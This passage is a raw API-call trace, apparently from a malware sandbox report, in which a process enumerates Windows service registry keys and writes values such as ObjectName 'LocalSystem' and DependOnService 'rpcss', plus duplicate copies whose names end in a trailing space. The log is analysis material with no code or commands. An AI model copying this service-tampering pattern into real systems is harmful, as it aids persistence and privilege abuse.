(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0249.030] RegCloseKey (hKey=0x154) returned 0x0 [0249.030] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.030] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.030] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.030] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.030] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.030] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.030] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.030] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.031] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.031] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.031] RegCloseKey (hKey=0xc4) returned 0x0 [0249.031] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.032] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.032] RegCloseKey (hKey=0x154) returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.032] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.033] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.033] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.033] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.033] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.033] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.033] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.033] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.033] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.034] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.035] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0249.042] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.042] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0249.042] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0249.042] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0249.042] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0249.042] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0249.042] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0249.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0249.043] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0249.043] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0249.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0249.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0249.044] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0249.044] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.044] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.044] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0249.044] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0249.044] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0249.044] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0249.044] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0249.044] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0249.045] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.045] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0249.046] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0249.046] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0249.046] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.046] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.046] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 